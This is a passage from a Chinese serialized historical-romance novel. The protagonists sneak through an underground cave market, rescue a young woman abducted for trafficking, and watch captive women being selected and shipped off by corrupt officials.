陈识月不懂,“为什么要在这个时候议和?都已经打赢了,还付出了这么惨痛的代价,为什么还要议和?为何不能直捣黄龙,直接拿下整个蛮族?” “因为皇帝怕了。”霍青行看向她。 陈识月:“??” 蓦地,她想起了国公府一案。 镇国将军的死,似乎有点…… “功高……盖主?”陈识月哑着嗓音问。 霍青行沉默,林序恨得咬牙切齿。 “怕霍家真的拿下了蛮族,最后功不可没,天下人人敬仰。民心所向,君心猜忌。”陈识月觉得很可笑,“可要求忠君爱国的,不还是高高在上的那位?高喊着要为天下人谋福祉,祈求百姓安居乐业的,不也是朝廷的那帮人吗?父母官父母官,不就是为人父母,理该护佑子民吗?” 陈识月一番诘问,没有答案。 真正为国为民的,在流血流汗。 尸位素餐的,正享荣华富贵。 有那么一瞬,她如鲠在喉,满腔子的愤怒无处发泄,甚至于想到自己的父亲,也可能是因为这些莫须有的罪名,因为功高盖主而冤枉惨死,她就觉得……天都塌了。 信念的崩塌,有时候只在一念之间。 霍青行拍了拍林序的肩膀,转身抱了抱陈识月,“别激动,再多的愤慨都解决不了问题,现在的问题是……到底是何人所为?朝廷之物亦能挪为私用?可见此人手段非常,并且身份不俗。” “当初蛮族假意议和,上交了一根骨笛,说是诚意,可实际上是羞辱,当着众将士的面,我差点打死前来商议的蛮族皇子。”林序开口,“是老将军和少将军出面保了我,挨了三十军棍,躺了几天。” 蛮族皇子? 陈识月挑眉,之前在云中村死的那个…… 她抬眸看向霍青行,霍青行点头。 “很巧的事,这位蛮族皇子……正是云中村山上,你弄死的那个。”霍青行说。 误打误撞的,反倒报了当年之仇? “不是我弄死的,是你杀的。”陈识月小声嗫嚅,“我可没这么大本事。” 当时,她跑还来不及呢! “这骨笛被送往了金都。”霍青行接过话茬,“当时是随钦差一道回去的,按理说是被送到了御前,后来帝王感念青山先生的大义,特意为这骨笛修了一座忠义堂,供奉香火,表彰青山先生的忠义。” 陈识月傻眼了,“既是如此要紧之物,理该供奉在忠义堂,怎么会出现在这里呢?若然丢失,怎么会无人知晓?帝王下令,哪个这么大的胆子,敢阳奉阴违?” “要么有人以假乱真,换了忠义堂的那根,要么……”霍青行迟疑。 第二百七十六章 我不是自愿的 两条腿,必有两根骨笛。 要么是有人以假乱真,换了忠义堂的那根,要么就是有人通敌,第二根骨笛现世了! 三个人,三双眼睛。 彼此心里都有两个答案,且看最后是哪一个先浮出水面。 回过神来,霍青行看了一眼二人,“眼下不是撕破脸面的时候,我们继续逛一逛。多一丝线索,来日就多一重希望,我大概已经猜到,到底是哪个环节出问题了。” 当初钦差来边关宣旨,护送那根骨笛回去,能做主的无外乎就那么几个人,所以要追查起来只需要从那几个人身上下手即可。 “走!”霍青行往外走。 陈识月和林序对视一眼,紧跟在后朝着外面走去。 他们都很清楚,现在没完! 这事没完! 不得不说,这边倒是安静不少,毕竟没有赌坊和花楼,最大的也就是南风馆,剩下的就是珍宝坊这些寻常铺子。 陈识月摸了摸发髻上的玉簪,“要不还是取下来吧?万一磕着碎了。” 这地方到处都是乱石,磕着碰着是寻常事。 “别,好看。”霍青行不愿意。 一根玉簪而已,碎了便碎了,他就喜欢看她漂漂亮亮的样子,哪怕是戴着面具,一抹点亮也是好的,只要她高兴就成。 霍青行与陈识月有说有笑的往前走,林序则在后面左顾右盼的。 布庄里的布料,令人眼花缭乱,挂在墙上的成衣,都是极好极美,瞧着便与寻常不同。 耳畔是姑娘家的欣喜交谈。 “哎呀,这可是今年金都城最时兴的花色,我此前一直买不到,没成想竟能在这里瞧见?” “是吗?我看看,哎呀,还真是!” “真好看!” “没想到外面都买不到,竟是在这里瞧见,这销金窝还真是没来错。” “我说什么来着?外面找不到的,这里肯定能有影子,至少希望很大。” “就是就是!” 霍青行和陈识月对视一眼,连外头都买不到的料子,竟能在这里瞧见,是有人早早囤货,留待销金窝里售卖?还是这些东西,原就出自于销金窝。 这一系列下来,得牵连出多少个售卖渠道? 所费得需要多少人力物力的支持? 罩在上方的人,官职得多大的? 若非只手遮天,断然做不了这般场面。 销金窝不愧是销金窝,带到这里的钱,何愁没地方花,怕是一分都带不回去,只等着花完了才能恋恋不舍的离开。 裙摆好似被人扯了一下,陈识月心下一惊,刚要出声,却见着一抹衣角快速缩了回去,就窝在架子底下。 盛放着布料的架子,底下都铺盖着粗布,正好将架子遮得严严实实,若是有人藏身在此,还真是不如意瞧出来。 陈识月微恙,霍青行第一时间反应过来,刚要伸手却被陈识月摁住。 躲在这里,怕是有什么问题吧? 二人对视一眼,还没想好要不要揭穿,或者是问问出什么事了,便听得外头有纷乱的脚步声响起,紧接着便是一群巡逻的护卫,正在搜罗着什么? 林序当即凑到了霍青行和陈识月身侧,“怎么回事?” 霍青行和陈识月又是对视,然后将目光落在了脚下。 “有人。”霍青行压低了声音。 林序眉心陡蹙,其后秒懂。 外头的吵闹声,惊动了所有人,一个两个的都探出头去看,驻足在路边看,窃窃私语讨论着。 陈识月算是听明白了,好像是花楼那边有姑娘跑了,就是不知道是哪位姑娘跑了? “跑了?”霍青行看了一眼架子的位置。 不会就是这个吧? 陈识月也正有此担心。 跑…… 大概是跑不出不去的,便是霍青行这样的身手,未必有把握全身而退,何况是手无缚鸡之力的女子,怕是连东南西北都分不清楚吧? 当然,既是跑出来了,说明并非自愿进来。 “会不会是被掳进来的?”陈识月忙道,“之前那些女子?” 霍青行明白她的意思,但眼下也不确定。 说话间,那些人已经搜到了跟前,二话不说就朝着布庄里搜。 “她肯定还没跑远,绝对跑不出去,搜仔细点!黄衣服的。” 戴着面具的女子,但凡身穿黄衣服,也都被要求摘下面具查看,其后便是搜寻整个布庄,连带着架子底下的布帘都被掀开查看。 所有人都提着一颗心,不知该如何自处,都愣愣的站在原地,看着这些人搜寻过后,给掌柜和伙计留下一幅画像。 “见此女子,即刻上报。” “是!” 一行人浩浩荡荡的进来,浩浩荡荡的出去。 待人走后,霍青行如释重负的松了口气,快速出了布庄,然后拐个弯便在人群中搜寻着林序的踪迹,果不然瞧见林序挥动的手。 “走!”霍青行握住了陈识月的手腕,带着她快速拐进了小道。 蓦地,他顿住脚步。 “怎么了?”陈识月心惊。 霍青行深吸一口气,“你过去吧,我在这里看着,若有什么事,你只管自行处置,我都听你的。” 陈识月刚要开口说点什么,瞧见他面具下的眸子,瞳仁微缩,登时心头一紧,下意识的环顾四周,却也不再多问,赶紧离开。 拐进弯的时候,陈识月又回头看一眼,只瞧着霍青行抱臂靠在岩壁处,在旁人看来,这副吊儿郎当的样子,真真不像个好人。 可在她眼里,竟生出了“一夫当关万夫莫开”的意味。 有他在,安心。 林序站在那边,见着陈识月过来,探头看了看,“公子呢?” “我们可能被人盯上了,他挡着路呢!”陈识月上前,“怎么回事?” 顾不得其他,林序言归正传,“这姑娘是刚进被送进花楼的,趁人不备就跑了出来,因为人生地不熟的,也不知道怎么才能出去,就在人群里乱窜,最后钻进了布庄的架子底下。” 陈识月上前,瞧着角落里缩成一团的女子,“姑娘,你别害怕,我们不是坏人。” 女子生得娇俏,一袭黄衣,面上泪痕未干,一双大眼睛直勾勾的盯着陈识月,“你们是何人?” 她被吓怕了,谁也不敢轻信。 陈识月摘掉面具,露出了清秀的面容,“我也是女子,他们都是我朋友,你莫要害怕,有什么事尽管与我说。外面的状况不太好,你最好快点说清楚,要不然咱也保不住你。那么多人都在找你,以你一个人的力量,根本藏不住,更别说跑出去!” “我叫连翘,家住鄞州邻水县。”女子颤抖着开口,嗓音带着哭腔,“我不是自愿进来的,是被他们抓来的。” 第二百七十七章 这一批最漂亮的,都在这 “他们抓了好多人,当时被送来的路上,因为寒疾死了一个,逃跑被发现……最后没带回来的也有一个。”连翘说这话的时候,满眼都是惊恐之色,“逃跑的那个,估计是回不来了,反正、反正当时我们害怕极了。” 从那以后,她们就再也没敢跑。 “不知道过了多久,我们被蒙上眼睛,再睁开眼就是在这里,然后被分拨给各个花楼,还有长得更出挑的,则被秘密带走了,不知去了何处。”连翘抹着泪眼泪,“进花楼的时候,趁着他们交谈之际,我就混在人群里冲了出去。” 至于那些姐妹,她是真的不知道了…… “都是天南地北被抓来的吗?”陈识月问。 连翘点点头,“嗯,你们能不能把我送出去,我想回家,我也是正经人家的姑娘,爹娘虽然不富裕,却也从小宠着我,若是我丢了……爹娘不知道该如何着急呢?” 说到这,连翘捂着脸泣不成声。 “先别哭。”陈识月忙道,“免得把人招来。” 闻言,林序探头看了一眼,还好少将军堵在了外头,倒是没人靠近,可他这一眼,还是能瞧见人群中站在街对面,时不时瞥过来的几个人。 谁知道那是守卫,还是其他什么人? “外面有人盯着,就这样出去显然是不可能了,得去成衣铺子买身衣服,先把她这一身换下来,要不然迟早会被找到。”陈识月皱眉,“林序,你看着点,我去买身成衣。” 林序颔首,“小心点。” 陈识月转身出去,霍青行依旧守在那里,二人言语了一番,便见着陈识月快速离开。 不瞬,陈识月抱着一包袱回来,里面装着一套衣裳。 当然,是一套男装。 “给我的?”林序诧异? 陈识月点头,“你去换上。” “为何给我换?你们两换一换不就差不多了?”林序不解。 陈识月忙道,“你身上有汗臭味,能更真实一点。” “可我的衣服这么大,她怕是也不何事啊?”林序这话刚落,便瞧见陈识月从袖中抽出了一个小包,自小包内取出了针线。 连翘也傻眼了。 换了衣裳,林序瞧着穿着自己衣裳,如同苍蝇套绿豆壳一般的连翘,止不住发笑。 是真的好笑! “像是小孩子偷穿大人的衣服。”林序中肯的评价。 陈识月的动作很快,这边捋一下吊两针,那边捋一圈,再吊两针。 因为长袖长裤管,倒是将连翘整个人衬得宽壮了不少,将发髻打散,扎成马尾,戴上发冠倒真是个俊俏少年郎。 “你这面具哪儿来的?”林序诧异。 陈识月变戏法似的,从袖中掏出个面具,“偷的。” “你偷的?”林序不敢置信。 陈识月挑眉,“动作快一点而已,有什么可奇怪的?那掌柜的台子上,放着几个面具,我顺手就捞了一个。连翘,快戴上!” 将原来那一身衣裳快速一卷,内里包上石块,轻飘飘就能丢进暗河底。暗河水急,若是丢到暗河的那边,阴暗无光,不仔细看的话,没人会发现异常。 “走!”陈识月和林序带着连翘走出去。 霍青行站直了身子,瞧着焕然一下的连翘,“先甩掉他们。” “好!” 那些尾巴总跟着也不是个事,还是要甩开才好,免得坏了自己的大事。 拐个弯,混入了人群中。 林序带着连翘,与霍青行和陈识月分开走。 一下子分流,那些人也得跟着分头跟着,但转个眼的功夫,便已经不见踪影,在他们还在到处找寻的时候,霍青行带着陈识月绕到了他们的后面。 化被动为主动,牢牢掌握主动权! “应该是有所怀疑,所以跟着我们。”陈识月猜测,“并非是特意跟从。” 霍青行点头,“若是真的怀疑什么,早就派人来抓了,这是人家的地盘,没必要跟我们客气。” 陈识月笑出声来,“走吧,去看看林序他们。” “朝这边走。” 四个人重新汇合,将那些尾巴甩得干干净净。 “现在把话说清楚,我们合计一下该怎么做?”霍青行开口,“等你把话说完,我让林序送你出去,你们先离开此处。” 连翘有些激动,“我真的可以离开这里吗?” “可以,但你得把所有的事情都说清楚,免得我们到时候被人设了圈套,到时候反而连累了其他人。这点,你可以做到吗?”陈识月也是这个意思。 连翘自然是能做到的,“我记性好,也刻意留意了,给你们的消息绝对都是准确的。我也不想害了无辜的人,何况你们是我的恩人。” “你明白就好!”陈识月与霍青行对视一眼。 约莫半个时辰之后,一行人又分开行动,霍青行带着陈识月去找掌柜他们,而林序则领着连翘往出口方向而去。 把连翘送走,若是有机会的话…… 林序想着,还是得溜回来。 让少将军和月大夫在这地方待着,他委实不放心。 陈识月一颗心提心吊胆的,跟在霍青行的身后往前走,但不知道为何,始终没瞧见掌柜他们的身影,也不知道是不是出了什么事? 还是说,彼此又错过了? 时间不多了,容不得二人耽搁,只能先办事再说。 外头人潮涌动,欢声笑语。 夹缝里,阴暗潮湿,腌臜不堪。 躲在石头缝隙里,陈识月看清楚了,一排木箱子被摆在暗河边上,似乎就等着船只过来,把箱子运走,但是在这之前似乎还有一道手续。 那便是挑选和确认。 来挑的,都是中年男人,一个两个摆着架子,不知道出自哪家,瞧着那姿态便可见身份不俗,一个两个站在那里,打开箱子之后,对里面横挑鼻子竖挑眼。 不必伸长脖子,也能居高临下的看清楚,箱子里装的是年轻的姑娘。 姑娘们蜷缩在那里,好似身子虚软,连喊都喊不出来,只能发出呜呜咽咽的声音,任由他人像挑货物一般将她们择选而出。 挑中的,合上箱子抬走,上船运走。 没挑中的则继续躺在箱子里,即便听不到具体声响,陈识月也好似能听到她们的呼喊,都是正经人家的姑娘,竟无辜被人这般欺辱,有家不能回,有亲不能侍,命如草芥,随时都会死! 这帮狗东西,可真是该死啊! “还磨磨唧唧的作甚?快一些。” “不是说有一个跑了吗?” “跑不了,肯定还在这里,迟早会抓回来。那个颜色不如这些,否则也不会送到花楼里,眼下这些便是这一批最漂亮的。动作快点!” 第二百七十八章 还有人闯进来了? 一行人快速挪运着箱子,将选中的女子都打包带走,水是生命之源,可藏在阴暗地底下的暗河,却成了罪恶的源泉。 “这些都不知道要被送往何处?”陈识月低声开口,“你说……这要是进了其他官员的府邸,被当做礼物……会有什么结果?” 霍青行看向她,犹豫了一下,还是说了实话,“要么认命,要么送命。” 跑是没机会跑的。 手无缚鸡之力,怎么跑? 对着陈识月,他不需要美化结果,因为结果是显而易见的。 陈识月心里也清楚,只是有些无法接受,都是花样的年纪,都是同龄人,实在是太过残忍,如连翘所言,多少人都是家中父母捧在掌心里的宝贝,就这么…… “此前多少,如今多少,早已无法言清,但你看他们手里都有一个本子,可见这一个个的都是被记录在册,如果能拿到这些册子,就大致会清楚,他们这些年到底掳走了多少女子,葬送了多少无辜之人。” 霍青行这一提醒,陈识月才发现那些人手里真的捧着一个册子,一根笔在上面写写画画的,应该是在记录着。 如果拿到这些册子,说不定还能找到被他们送出去的姑娘,找到那些姑娘的下落,就等于又多了一批人证。 “拦不住,那就往下挖。”陈识月看向霍青行。 霍青行也正有此意。 两人对视一眼,分头行动。 陈识月就在这里待着,随时准备接应。 霍青行则悄然离开,那么多的帮工伙计,随便替代一两个,完全认不出来,只要靠近记账的那几个人,便可以瞧见账册上的秘密。 如他们之前所言,册子上记载着名字,年龄,还有掳来的地方,以及被谁家挑走,用作何用…… 霍青行有些诧异,没料到他们的准备这般充分。 但转念一想,都干这一行了,自然是要万事俱备,要不然如何要挟那些朝臣,能让更多的朝臣保护这个销金窝呢? 上面的伞越厚重,底下的阴霾更沉重。 唯有不见光,才能金黄银白一大把,富贵荣华万万年。 “那边的,愣着作甚?” 身后忽然有人高声喊,霍青行旋即转身行礼,面不改色的与其他人一起,手动抬起一旁的箱子,朝着河边走去。 “都别给我闲着,也别给我愣着。”首领冷声厉喝,“天亮之前,这批货就得出手,谁若是坏了规矩,耽误了大事,保管你们都吃不了兜着走。麻溜着,都别闲着!” 音落,忽然有人急急忙忙的跑过来,冲到了首领的耳畔,“头,不好了!” 一番耳语,两人都变了脸色。 “上头吩咐了,立刻去花楼商议对策。”来人压低了声音。 但霍青行依旧听得一清二楚。 这是出了什么大事? 若然是因为连翘,那也不至于闹出这么大的动静吧! 不对,听他们的意思,好似出了别的什么乱子? 陈识月有些着急,这是出什么事了?瞧着好像很着急,可隔太远,她听不见他们说什么,远距离只能看见他们嘴巴一张一合。 怎么回事? 霍青行跟着那些人走了,看得陈识月心里一紧,这是要去哪?那自己现在该如何? 环顾四周,待在这里也不是个事。 霍青行也不知道这是要去哪,反正就是跟着他们走,总归不能先暴露身份,还是要见机行事才好,直到走出了好一段路,他才从别人的话语间听出,好像是有人闯进来了? 心头咯噔一声,难道是掌柜他们被发现了? 还是说,林序出事了? 各种都有可能。 思及此,霍青行更是跟紧了这些人,且看他们要去往何处? 还是原先的花楼,不过霍青行等人算是伙计和帮工,不算核心人物,自然进不去花楼,只在花楼外面等候。 不只是他们,还有从各处赶来的小头目,大头目,瞧着都神色焦灼,杏色匆匆,看起来这件事非同小可。 谁进来了? 若是连翘,搜一搜也就罢了,对付一个女子用不了这么大的阵仗。 那就是…… 朝廷? 霍青行忽然觉得,如果真的是朝廷的人追查至此,那这乌泱泱的朝廷,倒也不算没救,至少还有人心存希冀,还在奋力一搏。 这一等,便等了一刻钟。 “那人受了伤,肯定跑不远。”首领从里面出来,“所有人都去搜,且看谁受了伤,不管男女老少,全部给我带去水牢。” “是!” “是!” 众人纷纷行礼,快速离开去找人。 十个人一小队,每个小队都有小队长,一切听凭小队长的吩咐。 销金窝依旧热闹,天塌了也不影响这里的风花雪月,因着迷魂香的作用,人人都沉浸在欢悦之中,谁管他人死活? 霍青行跟在人群中,小心的留意周围,搜寻着各个洞窟的缝隙,所有能藏人的地方。 这本就是溶洞,听上面的小队长说,销金窝共有三十六个大洞,或成为销金场所,或成为库房,或成为码头进出口,总之都发挥了其重要的作用。 小洞就更加数不胜数,足足有一百多个,有些拿来当休息处,有些当中转的库房,有些则被打通变成了通道…… 一句话,销金窝状况复杂,大洞连着小洞,若是真的往深处走,没有地形图很容易迷失其中,尤其是这地形地貌瞧着都差不多,再熟悉也得行路小心。 霍青行跟在这些人的后面,一直在仔细的辨路,生怕行差踏错,到时候自己走不出来。 只不过…… 好像还是有点瞧不过来,走哪儿都像是差不多。 “这好像是……” “头,这里有血!” “是血!” 小队长快速走过来,只瞧着岩壁根下,有一小滩殷红之色,若不细看还真是很难被发现。 霍青行当即抬眸,目光锐利的看向周围。 血在这里,说明那人来过此处,十有八九是为了躲避,那这附近的山洞可能就是容身之所,出血了……说明受了伤。 不知道伤得重不重? “这边也有!” 眉心陡蹙,霍青行放慢了脚步,不管是敌是友,不能贸贸然靠近,得先看清楚状况再说。眼下就这么一小队人马在这里,附近的人马要冲过来,需要缓冲的时间。 看看,到底是谁呢? “在这里!” “快!” “来人啊!来人!” 霍青行猛地抬头,只一眼就看到…… 第二百七十九章 我叫陆离 一身黑衣,目光如炬。 即便是被围攻,黑衣人依旧淡然自若,手中剑挥舞着反抗,但看上去……状况不太好,即便是一袭黑衣,依旧能看出被鲜血洇湿的痕迹。 瞧着,似乎是女子? 受伤了,伤势不轻。 霍青行环顾四周,其他人还没围上来,这个时候出手,是最合适不过的。 思及此处,他当即抽出袖中的遮脸布,遮住了面颊,纵身一跃便飞扑了上去,“莫要恋战!” 只四个字。 过后,他便挟起了黑衣人,快速飞窜而去。 速度之快,快如闪电。 霍青行想救人,这些人自然是拦不住的。 不过是转瞬间的事情,他已经带着人消失在众人眼前,但也因着这边的动乱,惹来了周遭的其他人,各个小队当即纷涌而至。 “人呢?” “跑了,在前面。” “追!” 一帮人气吼吼的往前冲,所有人都没敢耽误,只想抓住那个受重伤的黑衣人。 不得不说,霍青行动作着实快,一个闪身便已经隐匿在黑暗的角落里。 等着人窸窸窣窣的跑过去,脚步声乱糟糟的,一点都不影响霍青行,他将那人死死的摁在了身侧,捂住了对方的口鼻,比避免黑衣人因着伤势而不慎发出闷哼。 稍瞬,人又回来了。 “这边没有,去那边!” “走!” 众人所有人哗啦啦扑过去,一个两个的都在往前冲。 等人都走了,霍青行这才有心思,去看身侧的人。 好像…… 晕了? 这可如何是好? 天色不早了,若是今日不出去,怕是要等到明日。要到明日这个时辰离开销金窝,实在不知道会出什么变故? 等? 还是弃? 何况,受了伤…… 窸窸窣窣的,有小声响起。 “阿行?”陈识月可不敢连名带姓的喊。 这个时候若是被人听到,那还得了? “月儿?”霍青行探头。 陈识月拎着衣摆,猫着腰,鬼鬼祟祟的跑过来,一头扎进了这狭窄的小洞。 “受伤了?”陈识月愣住。 霍青行点点头,“我把风,你看看伤势。” “好!” 霍青行守住了洞口,陈识月则快速解开了黑衣人的腰带。 下一刻,洞内一片死寂。 霍青行:“??” 怎么了这是? “月儿?”霍青行低唤。 陈识月慌忙扯了一下黑衣,脑子里唯有三个字——裹胸布?! 女的! “她是女的。”陈识月说。 霍青行本想回头,这会脖子一直,这会是真的一点都不敢回头了。 女的? 霍青行沉默不语。 陈识月缓过神来,动作麻利的处理伤口,“贯穿伤,但没有伤及要害,主要是是血过多,还好我带了金疮药和止血散,但是……需要缝合。” 这么严重的伤口,若不及时缝合,流血都能死人。 “我把风,你快点。”霍青行盯着外头,背对着他们。 陈识月自然知道他的意思,低头扯了扯唇角,便手脚麻利的取出了针和特殊的丝线,在这里只能简单的处理一下针头,顾不得其他了。 对方幽幽醒转,大概是因为太疼,不由得闷哼了一声,却被陈识月快速摁住,“嘘,不要出声,我在帮你处理伤口,你且忍耐一下。” “你们……”女子嗓音沙哑。 陈识月低头缝合伤口,“救你的人。” 四个字,配合她麻利的动作,女子还有什么不明白的,当下沉默下来,死死咬住了唇,任由陈识月缝合、上药、包扎。 待一切完毕,陈识月都出了一身汗。 替她拢好衣裳,陈识月扶着她靠坐在岩壁处,让她能靠得舒服一些,顺便往她嘴里塞了一枚药丸,“咽下去,能保命。” 提着气,吊着命,才能活下来。 “你们是何人?”女子虚弱的开口。 陈识月这才意识到,霍青行还背对着他们,旋即开口,“阿行,转头。” 如此,霍青行才慢悠悠的转过来,确定对方衣着完整,如释重负的松了口气,抬眸正视眼前的黑衣女子。 容色惨白,满身是汗。 “功夫不弱,但是单枪匹马就敢闯销金窝,未免太嚣张了点。”这是霍青行的评价。 陈识月一怔。 会功夫? “你们到底是什么人?”女子还是这句话。 霍青行看了陈识月一眼,没有说话。 什么人? 她说了算。 “你是来查销金窝的?”陈识月转移话题。 身份不重要,目的才是首要的。 “嗯!”女子点头。 陈识月又道,“我们也是。” “你们……是朝廷的人?”女子愕然。 大概是因为太激动,所以扯动了伤口,止不住疼得轻哼一声。 “你不是朝廷的人?”霍青行明白了。 女子:“……” 这是被反套了答案。 “不管你因为什么缘故,进了这销金窝,奉劝一句,早点离开。”霍青行可不想因为不相干的人,把陈识月置于危险之中。 陈识月明白了霍青行的意思,当即收拾了物什准备离开。 救人已经是极限,他们没办法送佛送上西。在这销金窝里,他们自己都是砧板上的鱼肉,哪儿有能力再去管别人? 然而,就在他们准备离开的时候,外头忽然传来了脚步声。 “一定还在这里。” “继续搜!肯定在这附近,绝对跑不了。” “我就不信,一寸寸的搜,掘地三尺还找不到他们?!” 霍青行垂下眼帘,“这里不能留了。” 可他们已经开始搜,若是霍青行和陈识月走了,伤重的女子必定会被他们抓住,到时候不就是白救了吗? 霍青行和陈识月对视一眼,回头看着奄奄一息的黑衣女子。 没办法,只能先把人转移出去,等到换个地儿把人再藏好,到时候她想去哪就去哪! “我先去把人引开,你带着她换个地。”霍青行有些不放心,“月儿可以做到吗?” 陈识月点头,所幸在云中村做惯了粗活,又是动不动上山采药的,力气倒也不小,小心翼翼的搀起了黑衣女子,“等到你把人引走,我就带着她离开。事成之后,我在那个花楼外头等你。” “好!”霍青行点头。 走的时候,还似不放心,又回头多看了陈识月一眼。 “自己小心。”陈识月叮嘱。 霍青行这才头也不回的冲出去,外头登时闹起来,紧接着便是大声的喊叫声,纷至沓来的脚步声。 好半晌,外头没了动静。 陈识月搀着黑衣女子走出去,“快,我们现在就走。” “救命之恩,无以回报,我叫陆离。”黑衣女子虚弱的开口,“敢问姑娘芳名?” 陈识月看向她,“叫我月儿便好。” “多谢!”陆离垂下眼帘。 然而…… 第二百八十章 救了一只白眼狼 陈识月反应快,即便是陆离忽然出手,也不妨碍她的机敏,这些年躲避朝廷的经历,让她时刻保持警,当即身子一蹲,紧接着便是手脚并用,快速窜出了山洞。 原以为陈识月是个弱女子,所以陆离几乎没料到,自己会失手…… 当然,事实上的她,是真的失手了。 陈识月出去就是一骨碌,从地上爬起来就跑,连头都没回一个,明明不会功夫,但一套动作下来,那叫一个行云流水,就好像练习过了千万遍。 “你……”陆离咬咬牙。 本来是想打晕陈识月,奈何陈识月不要命的逃了,这会是真的偷鸡不成蚀把米。 陈识月可不管陆离为什么出手,但凡有人要动手,她在没有自保能力的状况下,第一步就是跑路,也不管陆离有没有追来。 但是她这一举动,倒是将赶来汇合的霍青行给吓了一跳,瞧着她略显狼狈,气喘吁吁,面红耳赤,甚至于满头是汗的模样,止不住倒吸一口冷气。 “被发现了?”霍青行愕然。 陈识月摇头,“她要对我下手,我跑了。” 跑得可快了! 当然,也是因为陆离本来就受了伤,第一次没得手就再也没了第二次机会。 听得这话,霍青行面色陡沉,“忘恩负义的东西,你如何?” “我反应快,察觉不对就躲了,她压根没能碰到我。”陈识月解释,“但我没敢回头,也不知道她现在状况如何?” 霍青行牵住她的手,“不管她状况如何,只要你没事就好。” 仿佛想到了什么,霍青行面色微变,拽着她就跑。 “怎么了?”陈识月不解。 霍青行没解释,一直到跑出去,待到了人潮涌动之中,这才稍稍松了口气。 还不等陈识月再开口,只瞧着一群人快速冲到了花楼附近,似乎是早已察觉到了什么,开始到处找人,一会掀面具,一会搜岩洞缝隙,瞧着似乎状况不太好。 “他们在找我们?”陈识月明白了。 霍青行没说话。 这已经显而易见了。 不多时,没搜到人,那些人这才悻悻离去,大概又去别的地方找了。 “我们救了她,她竟是如此恩将仇报,真是白费了我精心饲养的天蚕丝、丝线!”想起这个,陈识月就心疼得肉疼。 天蚕不好养,天蚕丝更难得。 陆离身上的贯穿伤很严重,所以陈识月用了两根天蚕丝,如今这般想着,陈识月真真是肉疼,为此……眼底的光亮都消失了。 真的好心疼! 霍青行张了张嘴,一时间也不知道该怎么劝慰,毕竟他不会养天蚕,没法给她补偿。 那个陆离…… 如果不是自己贸贸然出手相救,必然也不会有如今的结果。 “都怪我,识人不清。” 霍青行面色凝重,略有些懊恼。 “你又不是算命先生,如何能未卜先知?”陈识月倒是一点都不怪他,“只叹人心隔肚皮,好歹是咱救了她,换做旁人至少要感念救命之恩,谁曾想竟是一只白眼狼。” 霍青行瞧着花楼那边撤离的人,还好他们跑得快,否则就要被围捕了。 “她现在……跑得出去吗?”陈识月低声问。 霍青行想了想,“大概是跑不出去的,应该会一直在这里面转悠,就是不知道要转悠到什么时候?也不知道她的具体目的是什么?进这地方,总不可能是来发财的。” 销金窝,销金窝,自然是来花钱找快活的。 “那是不是掌柜他们?”陈识月忙道。 霍青行抬头,当即带着他过去。 行至暗河边上,两拨人总算是重新汇合,只是少了一个林序。 “少一个?”掌柜诧异。 霍青行解释,“救了个姑娘,送出去了。” “原来如此。”掌柜了悟,“就方才那些动静?” 陈识月点头。 “你们的胆子可真大,这销金窝里的事儿,也敢轻易插手,这要是被人抓住,还不知要落一个什么样的下场。”掌柜心有余悸,“没被人发现吧?” 陈识月笑道,“若是被发现了,还能站在这里吗?自然是无事。” “天快亮了,再不走怕是来不及。”掌柜开口,“我们搜寻了一番,这销金窝太大,压根走不完,根本走不完,不过倒是也发现了一些异常。” 说到这里,掌柜环顾四周,以免被人听到。 “之前有一艘船与寻常船只不同,所载之人更是护卫随行,瞧着就与寻常人不同,我估摸着身份不俗。”掌柜解释,“不知何许人也?” 霍青行和陈识月对视一眼,“可能就是那位……大人!” “大人?”掌柜不解。 霍青行颔首,“就在不久之前,有两位了不得的人物,关起门来说悄悄话,提及了朝堂,言外之意已经很明显了。” “看清楚是谁了吗?”掌柜急忙追问。 霍青行摇摇头,“没有,他们走得很快,那个地方戒备森严,就是花楼的后面,若是有机会的话,找人混进去,可能会有意外之喜。” “难!”掌柜叹气,“不过我会尽量安排的,再难也得去试试,说不定哪天就有意外之喜了呢!既然有了眉目,断然不可放弃。” 霍青行没说话,只是这会销金窝里不太平,他们得先行离开再说。 “先出去,今日权当是掌掌眼,来日得了机会再来便是。”掌柜领着人朝着渡头而去。 今天夜里,销金窝出了太多的乱子,所以不能再在这里久留了,还是早早脱身为好。 事已至此,一行人快速离开。 进来是蒙着眼,出去也是如此。 四下都是黑漆漆的,陈识月提着一颗心,默默的坐在船上,听着船夫摇橹的吱呀声,感受到江面的冷风不断的扑在自己身上。 下意识的,陈识月拢了拢身上的衣裳。 船行暗河上,陈识月数着自己的心跳,努力竖起耳朵,仔细辨别身边的一切可疑动静,以便于来日再有机会进来,有机会能自己找到路离开。 霍青行亦如此。 四下安静。 只不过没一会,船上的人便都摇摇欲坠,昏昏欲睡,还没到洞口就已经全部昏睡过去,察觉到身边有重物倒下的闷响,陈识月二话不说便顺势倒下。 霍青行的反应也不赖,察觉到了动静,旋即趴了下去。 一行人全部出去之后,便听得木轮车的声响,然后有脚步声响起,将船上的人一个个抬上了木板车,这是怕他们发现出口,所以提前把人运走,送到别的地方混淆视听。 陈识月一动不动,趴在木板车上,鼻间嗅到淡淡的松木清香…… 第二百八十一章 终于出来了 陈识月不敢动弹,一直到霍青行来找她,她才敢睁开眼,一颗心砰砰乱跳,光亮的忽然转回,刺得她睁不开眼睛。 几乎是那一瞬间的事情,霍青行快速将她摁在怀中,“慢慢适应,不要怕,我们安全了。” 须臾,猜她应该适应过来了,霍青行才慢慢悠悠的放开她。 “没事吧?”霍青行低声询问。 陈识月点点头,“没事了,大家都还好吗?” “都没事!”霍青行转身,瞧着快速汇拢上来的掌柜等人,“林序呢?” 林序从人群中挤出来,“公子,这这儿呢!我在这呢!” 见着林序安然无恙,如释重负松了口气。 大家都没事,自然是最好不过。 但是…… “多谢恩公救命之恩!” 连翘扑通跪地,倒是把所有人都吓一跳。 陈识月赶紧把人搀起来,“不必如此,不管是谁见着这样的事情,总要拔刀相助的,你一介弱质女流,遭受这样的无妄之灾已经是不公,如今出了这销金窝,就将一切都忘了吧!” 记住这些事情,只会让她永远耿耿于怀,难以释怀。 若是如此,以后的日子可怎么过呢? “嗯!”连翘起身,抹着眼泪看向众人。 霍青行已经同掌柜交代了几句,接下来掌柜会安排人,送连翘离开金都,回她自个家里去,以后就当什么都没发生过。 “先回去吧!”霍青行道。 众人当即离开。 虽说是躺在板车上被送走的,但霍青行是谁?林序是谁?都是行伍中摸爬滚打出来的,一个两个的都是探查敌情的好手,沿着那些被刻意掩藏的车辙痕迹,还是很容易找到洞口的。 路线存于林序的心头,待会去之后就可以画出来。 